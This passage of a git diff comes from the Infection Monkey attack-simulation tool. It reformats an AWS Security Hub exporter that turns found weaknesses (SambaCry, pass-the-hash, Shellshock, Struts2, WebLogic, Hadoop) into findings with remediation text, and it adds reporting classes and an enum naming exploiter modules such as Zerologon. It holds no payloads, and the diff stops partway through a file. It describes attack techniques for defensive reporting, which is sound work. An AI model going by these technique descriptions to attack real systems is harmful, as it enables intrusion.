+ CredentialType.HASH.value: AWSExporter._handle_smb_pth_issue,
+ },
+ ExploiterDescriptorEnum.SAMBACRY.value.class_name: AWSExporter._handle_sambacry_issue,
+ "shared_passwords": AWSExporter._handle_shared_passwords_issue,
+ ExploiterDescriptorEnum.WMI.value.class_name: {
+ CredentialType.PASSWORD.value: AWSExporter._handle_wmi_password_issue,
+ CredentialType.HASH.value: AWSExporter._handle_wmi_pth_issue,
+ },
+ "shared_passwords_domain": AWSExporter._handle_shared_passwords_domain_issue,
+ "shared_admins_domain": AWSExporter._handle_shared_admins_domain_issue,
+ "strong_users_on_crit": AWSExporter._handle_strong_users_on_crit_issue,
+ ExploiterDescriptorEnum.STRUTS2.value.class_name: AWSExporter._handle_struts2_issue,
+ ExploiterDescriptorEnum.WEBLOGIC.value.class_name: AWSExporter._handle_weblogic_issue,
+ ExploiterDescriptorEnum.HADOOP.value.class_name: AWSExporter._handle_hadoop_issue,
# azure and conficker are not relevant issues for an AWS env
}
configured_product_arn = INFECTION_MONKEY_ARN
- product_arn = 'arn:aws:securityhub:{region}:{arn}'.format(region=region, arn=configured_product_arn)
- instance_arn = 'arn:aws:ec2:' + str(region) + ':instance:{instance_id}'
+ product_arn = "arn:aws:securityhub:{region}:{arn}".format(
+ region=region, arn=configured_product_arn
+ )
+ instance_arn = "arn:aws:ec2:" + str(region) + ":instance:{instance_id}"
# Not suppressing error here on purpose.
account_id = AwsInstance().get_account_id()
logger.debug("aws account id acquired: {}".format(account_id))
- finding = {
+ aws_finding = {
"SchemaVersion": "2018-10-08",
"Id": uuid.uuid4().hex,
"ProductArn": product_arn,
- "GeneratorId": issue['type'],
+ "GeneratorId": issue["type"],
"AwsAccountId": account_id,
"RecordState": "ACTIVE",
- "Types": [
- "Software and Configuration Checks/Vulnerabilities/CVE"
- ],
- "CreatedAt": datetime.now().isoformat() + 'Z',
- "UpdatedAt": datetime.now().isoformat() + 'Z',
+ "Types": ["Software and Configuration Checks/Vulnerabilities/CVE"],
+ "CreatedAt": datetime.now().isoformat() + "Z",
+ "UpdatedAt": datetime.now().isoformat() + "Z",
}
- return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue, instance_arn))
+
+ processor = AWSExporter._get_issue_processor(findings_dict, issue)
+
+ return AWSExporter.merge_two_dicts(aws_finding, processor(issue, instance_arn))
+
+ @staticmethod
+ def _get_issue_processor(finding_dict, issue):
+ try:
+ processor = finding_dict[issue["type"]]
+ if type(processor) == dict:
+ processor = processor[issue["credential_type"]]
+ return processor
+ except KeyError:
+ raise AWSExporter.FindingNotFoundError(
+ f"Finding {issue['type']} not added as AWS exportable finding"
+ )
+
+ class FindingNotFoundError(Exception):
+ pass
@staticmethod
def _send_findings(findings_list, region):
try:
logger.debug("Trying to acquire securityhub boto3 client in " + region)
- security_hub_client = boto3.client('securityhub', region_name=region)
+ security_hub_client = boto3.client("securityhub", region_name=region)
logger.debug("Client acquired: {0}".format(repr(security_hub_client)))
# Assumes the machine has the correct IAM role to do this, @see
- # https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS-EC2-instances
+ # https://github.com/guardicore/monkey/wiki/Monkey-Island:-Running-the-monkey-on-AWS
+ # -EC2-instances
import_response = security_hub_client.batch_import_findings(Findings=findings_list)
logger.debug("Import findings response: {0}".format(repr(import_response)))
- if import_response['ResponseMetadata']['HTTPStatusCode'] == 200:
+ if import_response["ResponseMetadata"]["HTTPStatusCode"] == 200:
return True
else:
return False
except UnknownServiceError as e:
- logger.warning('AWS exporter called but AWS-CLI security hub service is not installed. Error: {}'.format(e))
+ logger.warning(
+ "AWS exporter called but AWS-CLI security hub service is not installed. "
+ "Error: {}".format(e)
+ )
return False
except Exception as e:
- logger.exception('AWS security hub findings failed to send. Error: {}'.format(e))
+ logger.exception("AWS security hub findings failed to send. Error: {}".format(e))
return False
@staticmethod
def _get_finding_resource(instance_id, instance_arn):
if instance_id:
- return [{
- "Type": "AwsEc2Instance",
- "Id": instance_arn.format(instance_id=instance_id)
- }]
+ return [{"Type": "AwsEc2Instance", "Id": instance_arn.format(instance_id=instance_id)}]
else:
- return [{'Type': 'Other', 'Id': 'None'}]
+ return [{"Type": "Other", "Id": "None"}]
@staticmethod
- def _build_generic_finding(severity, title, description, recommendation, instance_arn, instance_id=None):
+ def _build_generic_finding(
+ severity, title, description, recommendation, instance_arn, instance_id=None
+ ):
finding = {
- "Severity": {
- "Product": severity,
- "Normalized": 100
- },
- 'Resources': AWSExporter._get_finding_resource(instance_id, instance_arn),
+ "Severity": {"Product": severity, "Normalized": 100},
+ "Resources": AWSExporter._get_finding_resource(instance_id, instance_arn),
"Title": title,
"Description": description,
- "Remediation": {
- "Recommendation": {
- "Text": recommendation
- }
- }}
+ "Remediation": {"Recommendation": {"Text": recommendation}},
+ }
return finding
@@ -148,11 +184,12 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=5,
title="Weak segmentation - Machines were able to communicate over unused ports.",
- description="Use micro-segmentation policies to disable communication other than the required.",
+ description="Use micro-segmentation policies to disable communication other than "
+ "the required.",
recommendation="Machines are not locked down at port level. "
- "Network tunnel was set up from {0} to {1}".format(issue['machine'], issue['dest']),
+ "Network tunnel was set up from {0} to {1}".format(issue["machine"], issue["dest"]),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -161,14 +198,16 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=10,
title="Samba servers are vulnerable to 'SambaCry'",
- description="Change {0} password to a complex one-use password that is not shared with other computers on the "
- "network. Update your Samba server to 4.4.14 and up, "
- "4.5.10 and up, or 4.6.4 and up.".format(issue['username']),
- recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB "
- "protocol with user {2} and its password, and used the SambaCry "
- "vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']),
+ description="Change {0} password to a complex one-use password that is not shared "
+ "with other computers on the "
+ "network. Update your Samba server to 4.4.14 and up, "
+ "4.5.10 and up, or 4.6.4 and up.".format(issue["username"]),
+ recommendation="The machine {0} ({1}) is vulnerable to a SambaCry attack. The "
+ "Monkey authenticated over the SMB "
+ "protocol with user {2} and its password, and used the SambaCry "
+ "vulnerability.".format(issue["machine"], issue["ip_address"], issue["username"]),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -176,13 +215,18 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=5,
- title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
- "network.".format(issue['username']),
- recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over "
- "SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']),
+ title="Machines are accessible using passwords supplied by the user during the "
+ "Monkey's configuration.",
+ description="Change {0}'s password to a complex one-use password that is not "
+ "shared with other computers on the "
+ "network.".format(issue["username"]),
+ recommendation="The machine {0}({1}) is vulnerable to a SMB attack. The Monkey "
+ "used a pass-the-hash attack over "
+ "SMB protocol with user {2}.".format(
+ issue["machine"], issue["ip_address"], issue["username"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -190,14 +234,17 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
- "network.".format(issue['username']),
- recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH"
- " protocol with user {2} and its "
- "password.".format(issue['machine'], issue['ip_address'], issue['username']),
+ title="Machines are accessible using SSH passwords supplied by the user during "
+ "the Monkey's configuration.",
+ description="Change {0}'s password to a complex one-use password that is not "
+ "shared with other computers on the "
+ "network.".format(issue["username"]),
+ recommendation="The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey "
+ "authenticated over the SSH"
+ " protocol with user {2} and its "
+ "password.".format(issue["machine"], issue["ip_address"], issue["username"]),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -205,15 +252,18 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration.",
- description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
- recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
- "over the SSH protocol with private key {ssh_key}.".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- ssh_key=issue['ssh_key']),
+ title="Machines are accessible using SSH passwords supplied by the user during "
+ "the Monkey's configuration.",
+ description="Protect {ssh_key} private key with a pass phrase.".format(
+ ssh_key=issue["ssh_key"]
+ ),
+ recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH "
+ "attack. The Monkey authenticated "
+ "over the SSH protocol with private key {ssh_key}.".format(
+ machine=issue["machine"], ip_address=issue["ip_address"], ssh_key=issue["ssh_key"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -223,12 +273,12 @@ class AWSExporter(Exporter):
severity=10,
title="Elastic Search servers are vulnerable to CVE-2015-1427",
description="Update your Elastic Search server to version 1.4.3 and up.",
- recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
- "possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
- issue['machine'],
- issue['ip_address']),
+ recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. "
+ "The attack was made "
+ "possible because the Elastic Search server was not patched "
+ "against CVE-2015-1427.".format(issue["machine"], issue["ip_address"]),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -236,16 +286,18 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Weak segmentation - Machines from different segments are able to communicate.",
- description="Segment your network and make sure there is no communication between machines from different "
- "segments.",
+ title="Weak segmentation - Machines from different segments are able to "
+ "communicate.",
+ description="Segment your network and make sure there is no communication between "
+ "machines from different "
+ "segments.",
recommendation="The network can probably be segmented. A monkey instance on \
{0} in the networks {1} \
- could directly access the Monkey Island server in the networks {2}.".format(issue['machine'],
- issue['networks'],
- issue['server_networks']),
+ could directly access the Monkey Island server in the networks {2}.".format(
+ issue["machine"], issue["networks"], issue["server_networks"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -254,10 +306,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Multiple users have the same password",
- description="Some users are sharing passwords, this should be fixed by changing passwords.",
- recommendation="These users are sharing access password: {0}.".format(issue['shared_with']),
+ description="Some users are sharing passwords, this should be fixed by changing "
+ "passwords.",
+ recommendation="These users are sharing access password: {0}.".format(
+ issue["shared_with"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -268,11 +323,13 @@ class AWSExporter(Exporter):
title="Machines are vulnerable to 'Shellshock'",
description="Update your Bash to a ShellShock-patched version.",
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
- "The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
- "shell injection attack on the paths: {3}.".format(
- issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
+ "The attack was made possible because the HTTP server running on "
+ "TCP port {2} was vulnerable to a "
+ "shell injection attack on the paths: {3}.".format(
+ issue["machine"], issue["ip_address"], issue["port"], issue["paths"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -280,16 +337,18 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
- "network.".format(issue['username']),
- recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
- "protocol with user {2} and its password.".format(
- issue['machine'],
- issue['ip_address'],
- issue['username']),
+ title="Machines are accessible using passwords supplied by the user during the "
+ "Monkey's configuration.",
+ description="Change {0}'s password to a complex one-use password that is not "
+ "shared with other computers on the "
+ "network.".format(issue["username"]),
+ recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey "
+ "authenticated over the SMB "
+ "protocol with user {2} and its password.".format(
+ issue["machine"], issue["ip_address"], issue["username"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -297,16 +356,18 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
- "network.",
- recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
- "the WMI protocol with user {username} and its password.".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- username=issue['username']),
+ title="Machines are accessible using passwords supplied by the user during the "
+ "Monkey's configuration.",
+ description="Change {0}'s password to a complex one-use password that is not "
+ "shared with other computers on the "
+ "network.",
+ recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI "
+ "attack. The Monkey authenticated over "
+ "the WMI protocol with user {username} and its password.".format(
+ machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -314,16 +375,18 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
- description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
- "network.".format(issue['username']),
- recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
- "pass-the-hash attack over WMI protocol with user {username}".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- username=issue['username']),
+ title="Machines are accessible using passwords supplied by the user during the "
+ "Monkey's configuration.",
+ description="Change {0}'s password to a complex one-use password that is not "
+ "shared with other computers on the "
+ "network.".format(issue["username"]),
+ recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI "
+ "attack. The Monkey used a "
+ "pass-the-hash attack over WMI protocol with user {username}".format(
+ machine=issue["machine"], ip_address=issue["ip_address"], username=issue["username"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -332,11 +395,13 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
title="Multiple users have the same password.",
- description="Some domain users are sharing passwords, this should be fixed by changing passwords.",
+ description="Some domain users are sharing passwords, this should be fixed by "
+ "changing passwords.",
recommendation="These users are sharing access password: {shared_with}.".format(
- shared_with=issue['shared_with']),
+ shared_with=issue["shared_with"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -344,13 +409,18 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Shared local administrator account - Different machines have the same account as a local administrator.",
- description="Make sure the right administrator accounts are managing the right machines, and that there isn\'t "
- "an unintentional local admin sharing.",
- recommendation="Here is a list of machines which the account {username} is defined as an administrator: "
- "{shared_machines}".format(username=issue['username'], shared_machines=issue['shared_machines']),
+ title="Shared local administrator account - Different machines have the same "
+ "account as a local administrator.",
+ description="Make sure the right administrator accounts are managing the right "
+ "machines, and that there isn't "
+ "an unintentional local admin sharing.",
+ recommendation="Here is a list of machines which the account {username} is "
+ "defined as an administrator: "
+ "{shared_machines}".format(
+ username=issue["username"], shared_machines=issue["shared_machines"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -358,13 +428,17 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=1,
- title="Mimikatz found login credentials of a user who has admin access to a server defined as critical.",
- description="This critical machine is open to attacks via strong users with access to it.",
- recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
- "machine. These users has access to it:{threatening_users}.".format(
- services=issue['services'], threatening_users=issue['threatening_users']),
+ title="Mimikatz found login credentials of a user who has admin access to a "
+ "server defined as critical.",
+ description="This critical machine is open to attacks via strong users with "
+ "access to it.",
+ recommendation="The services: {services} have been found on the machine thus "
+ "classifying it as a critical "
+ "machine. These users has access to it:{threatening_users}.".format(
+ services=issue["services"], threatening_users=issue["threatening_users"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -374,11 +448,15 @@ class AWSExporter(Exporter):
severity=10,
title="Struts2 servers are vulnerable to remote code execution.",
description="Upgrade Struts2 to version 2.3.32 or 2.5.10.1 or any later versions.",
- recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
- "The attack was made possible because the server is using an old version of Jakarta based file "
- "upload Multipart parser.".format(machine=issue['machine'], ip_address=issue['ip_address']),
+ recommendation="Struts2 server at {machine} ({ip_address}) is vulnerable to "
+ "remote code execution attack."
+ "The attack was made possible because the server is using an old "
+ "version of Jakarta based file "
+ "upload Multipart parser.".format(
+ machine=issue["machine"], ip_address=issue["ip_address"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -387,13 +465,19 @@ class AWSExporter(Exporter):
return AWSExporter._build_generic_finding(
severity=10,
title="Oracle WebLogic servers are vulnerable to remote code execution.",
- description="Install Oracle critical patch updates. Or update to the latest version. "
- "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0.",
- recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
- "The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware "
- "(subcomponent: WLS Security).".format(machine=issue['machine'], ip_address=issue['ip_address']),
+ description="Install Oracle critical patch updates. Or update to the latest "
+ "version. "
+ "Vulnerable versions are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and "
+ "12.2.1.2.0.",
+ recommendation="Oracle WebLogic server at {machine} ({ip_address}) is vulnerable "
+ "to remote code execution attack."
+ "The attack was made possible due to incorrect permission "
+ "assignment in Oracle Fusion Middleware "
+ "(subcomponent: WLS Security).".format(
+ machine=issue["machine"], ip_address=issue["ip_address"]
+ ),
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
@staticmethod
@@ -403,8 +487,10 @@ class AWSExporter(Exporter):
severity=10,
title="Hadoop/Yarn servers are vulnerable to remote code execution.",
description="Run Hadoop in secure mode, add Kerberos authentication.",
- recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to remote code execution attack."
- "The attack was made possible due to default Hadoop/Yarn configuration being insecure.",
+ recommendation="The Hadoop server at {machine} ({ip_address}) is vulnerable to "
+ "remote code execution attack."
+ "The attack was made possible due to default Hadoop/Yarn "
+ "configuration being insecure.",
instance_arn=instance_arn,
- instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
+ instance_id=issue["aws_instance_id"] if "aws_instance_id" in issue else None,
)
diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/__init__.py b/monkey/monkey_island/cc/services/reporting/exploitations/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py
new file mode 100644
index 000000000..303fe8db5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/exploitations/manual_exploitation.py
@@ -0,0 +1,31 @@
+from dataclasses import dataclass
+from typing import List
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.node import NodeService
+
+
+@dataclass
+class ManualExploitation:
+ hostname: str
+ ip_addresses: List[str]
+ start_time: str
+
+
+def get_manual_exploitations() -> List[ManualExploitation]:
+ monkeys = get_manual_monkeys()
+ return [monkey_to_manual_exploitation(monkey) for monkey in monkeys]
+
+
+def get_manual_monkeys():
+ return [
+ monkey for monkey in mongo.db.monkey.find({}) if NodeService.get_monkey_manual_run(monkey)
+ ]
+
+
+def monkey_to_manual_exploitation(monkey: dict) -> ManualExploitation:
+ return ManualExploitation(
+ hostname=monkey["hostname"],
+ ip_addresses=monkey["ip_addresses"],
+ start_time=monkey["launch_time"],
+ )
diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py
new file mode 100644
index 000000000..f06d23274
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py
@@ -0,0 +1,62 @@
+import logging
+from dataclasses import dataclass
+from typing import List
+
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.node import NodeService
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( # noqa: E501
+ ExploiterDescriptorEnum,
+)
+
+logger = logging.getLogger(__name__)
+
+
+@dataclass
+class MonkeyExploitation:
+ label: str
+ ip_addresses: List[str]
+ domain_name: str
+ exploits: List[str]
+
+
+def get_monkey_exploited() -> List[MonkeyExploitation]:
+ exploited_nodes_monkeys_launched = [
+ NodeService.get_displayed_node_by_id(monkey["_id"], True)
+ for monkey in mongo.db.monkey.find({}, {"_id": 1})
+ if not NodeService.get_monkey_manual_run(NodeService.get_monkey_by_id(monkey["_id"]))
+ ]
+
+ # The node got exploited, but no monkeys got launched.
+ # For example the exploited machine was too old.
+ exploited_nodes_monkeys_failed = [
+ NodeService.get_displayed_node_by_id(node["_id"], True)
+ for node in mongo.db.node.find({"exploited": True}, {"_id": 1})
+ ]
+
+ exploited = exploited_nodes_monkeys_launched + exploited_nodes_monkeys_failed
+
+ exploited = [
+ MonkeyExploitation(
+ label=exploited_node["label"],
+ ip_addresses=exploited_node["ip_addresses"],
+ domain_name=exploited_node["domain_name"],
+ exploits=get_exploits_used_on_node(exploited_node),
+ )
+ for exploited_node in exploited
+ ]
+
+ logger.info("Exploited nodes generated for reporting")
+
+ return exploited
+
+
+def get_exploits_used_on_node(node: dict) -> List[str]:
+ return list(
+ set(
+ [
+ ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name
+ for exploit in node["exploits"]
+ if exploit["result"]
+ ]
+ )
+ )
diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
index 391b23cf1..c19f3d5e3 100644
--- a/monkey/monkey_island/cc/services/reporting/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -13,7 +13,10 @@ def populate_exporter_list():
if len(manager.get_exporters_list()) != 0:
logger.debug(
- "Populated exporters list with the following exporters: {0}".format(str(manager.get_exporters_list())))
+ "Populated exporters list with the following exporters: {0}".format(
+ str(manager.get_exporters_list())
+ )
+ )
def try_add_aws_exporter_to_manager(manager):
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py
new file mode 100644
index 000000000..03e5ce8b1
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py
@@ -0,0 +1,59 @@
+from dataclasses import dataclass
+from enum import Enum
+from typing import Type
+
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.cred_exploit import ( # noqa: E501
+ CredExploitProcessor,
+)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501
+ ExploitProcessor,
+)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501
+ ShellShockExploitProcessor,
+)
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.zerologon import ( # noqa: E501
+ ZerologonExploitProcessor,
+)
+
+
+@dataclass
+class ExploiterDescriptor:
+ # Must match with class names of exploiters in Infection Monkey code
+ class_name: str
+ display_name: str
+ processor: Type[object] = ExploitProcessor
+
+
+class ExploiterDescriptorEnum(Enum):
+ SMB = ExploiterDescriptor("SmbExploiter", "SMB Exploiter", CredExploitProcessor)
+ WMI = ExploiterDescriptor("WmiExploiter", "WMI Exploiter", CredExploitProcessor)
+ SSH = ExploiterDescriptor("SSHExploiter", "SSH Exploiter", CredExploitProcessor)
+ SAMBACRY = ExploiterDescriptor("SambaCryExploiter", "SambaCry Exploiter", CredExploitProcessor)
+ ELASTIC = ExploiterDescriptor(
+ "ElasticGroovyExploiter", "Elastic Groovy Exploiter", ExploitProcessor
+ )
+ MS08_067 = ExploiterDescriptor("Ms08_067_Exploiter", "Conficker Exploiter", ExploitProcessor)
+ SHELLSHOCK = ExploiterDescriptor(
+ "ShellShockExploiter", "ShellShock Exploiter", ShellShockExploitProcessor
+ )
+ STRUTS2 = ExploiterDescriptor("Struts2Exploiter", "Struts2 Exploiter", ExploitProcessor)
+ WEBLOGIC = ExploiterDescriptor(
+ "WebLogicExploiter", "Oracle WebLogic Exploiter", ExploitProcessor
+ )
+ HADOOP = ExploiterDescriptor("HadoopExploiter", "Hadoop/Yarn Exploiter", ExploitProcessor)
+ MSSQL = ExploiterDescriptor("MSSQLExploiter", "MSSQL Exploiter", ExploitProcessor)
+ VSFTPD = ExploiterDescriptor(
+ "VSFTPDExploiter", "VSFTPD Backdoor Exploiter", CredExploitProcessor
+ )
+ DRUPAL = ExploiterDescriptor("DrupalExploiter", "Drupal Server Exploiter", ExploitProcessor)
+ ZEROLOGON = ExploiterDescriptor(
+ "ZerologonExploiter", "Zerologon Exploiter", ZerologonExploitProcessor
+ )
+
+ @staticmethod
+ def get_by_class_name(class_name: str) -> ExploiterDescriptor:
+ return [
+ descriptor.value
+ for descriptor in ExploiterDescriptorEnum
+ if descriptor.value.class_name == class_name
+ ][0]
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py
new file mode 100644
index 000000000..087ee6a39
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py
@@ -0,0 +1,23 @@
+from dataclasses import dataclass
+from enum import Enum
+from typing import List, Union
+
+
+class CredentialType(Enum):
+ PASSWORD = "password"
+ HASH = "hash"
+ KEY = "key"
+
+
+@dataclass
+class ExploiterReportInfo:
+ machine: str
+ ip_address: str
+ type: str
+ username: Union[str, None] = None
+ credential_type: Union[CredentialType, None] = None
+ ssh_key: Union[str, None] = None
+ password: Union[str, None] = None
+ port: Union[str, None] = None
+ paths: Union[List[str], None] = None
+ password_restored: Union[bool, None] = None
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/__init__.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/__init__.py
new file mode 100644
index 000000000..e69de29bb
diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py
new file mode 100644
index 000000000..05c9233fe
--- /dev/null
+++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/cred_exploit.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501
+ CredentialType,
+ ExploiterReportInfo,
+)
